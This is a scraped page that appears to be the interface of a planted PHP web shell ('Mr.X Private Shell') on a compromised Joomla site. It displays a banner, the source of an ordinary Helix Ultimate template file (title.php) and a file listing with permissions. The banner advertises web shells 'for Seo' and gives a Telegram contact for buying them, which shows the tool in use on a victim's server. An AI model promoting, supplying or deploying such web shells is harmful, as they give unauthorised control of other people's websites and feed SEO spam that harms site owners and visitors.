__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php /** * @package Helix_Ultimate_Framework * @author JoomShaper <[email protected]> * Copyright (c) 2010 - 2021 JoomShaper * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later */ defined ('_JEXEC') or die(); use Joomla\CMS\Factory; use Joomla\CMS\Uri\Uri; /** * Helix Ultimate Site Title. * * @since 1.0.0 */ class HelixUltimateFeatureTitle { /** * Template parameters * * @var object $params The parameters object * @since 1.0.0 */ private $params; /** * Constructor function * * @param object $params The template parameters * * @since 1.0.0 */ public function __construct($params) { $this->position = 'title'; } /** * Render the logo features. * * @return string * @since 1.0.0 */ public function renderFeature() { $app = Factory::getApplication(); $menuitem = $app->getMenu()->getActive(); if($menuitem) { $params = $menuitem->getParams(); if($params->get('helixultimate_enable_page_title', 0)) { $page_title = $menuitem->title; $page_heading = $params->get('helixultimate_page_title_heading', 'h2'); $page_title_alt = $params->get('helixultimate_page_title_alt'); $page_subtitle = $params->get('helixultimate_page_subtitle'); $page_title_bg_color = $params->get('helixultimate_page_title_bg_color'); $page_title_bg_image = $params->get('helixultimate_page_title_bg_image'); if($page_heading == 'h1') { $page_sub_heading = 'h2'; } else { $page_sub_heading = 'h3'; } $style = ''; if($page_title_bg_color) { $style .= 'background-color: ' . $page_title_bg_color . ';'; } if($page_title_bg_image) { $style .= 'background-image: url(' . Uri::root(true) . '/' . $page_title_bg_image . ');'; } if($style) { $style = 'style="' . $style . '"'; } if($page_title_alt) { $page_title = $page_title_alt; } $output = ''; $output .= '<div class="sp-page-title"'. $style .'>'; $output .= '<div class="container">'; $output .= '<'. $page_heading .' class="sp-page-title-heading">'. $page_title .'</'. $page_heading .'>'; if($page_subtitle) { $output .= '<'. $page_sub_heading .' class="sp-page-title-sub-heading">'. $page_subtitle .'</'. $page_sub_heading .'>'; } $output .= '<jdoc:include type="modules" name="breadcrumb" style="none" />'; $output .= '</div>'; $output .= '</div>'; return $output; } } } }
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| contact.php | File | 2.32 KB | 0664 |
|
| footer.php | File | 1.3 KB | 0664 |
|
| logo.php | File | 6 KB | 0664 |
|
| menu.php | File | 3.96 KB | 0664 |
|
| social.php | File | 2.96 KB | 0664 |
|
| title.php | File | 2.46 KB | 0664 |
|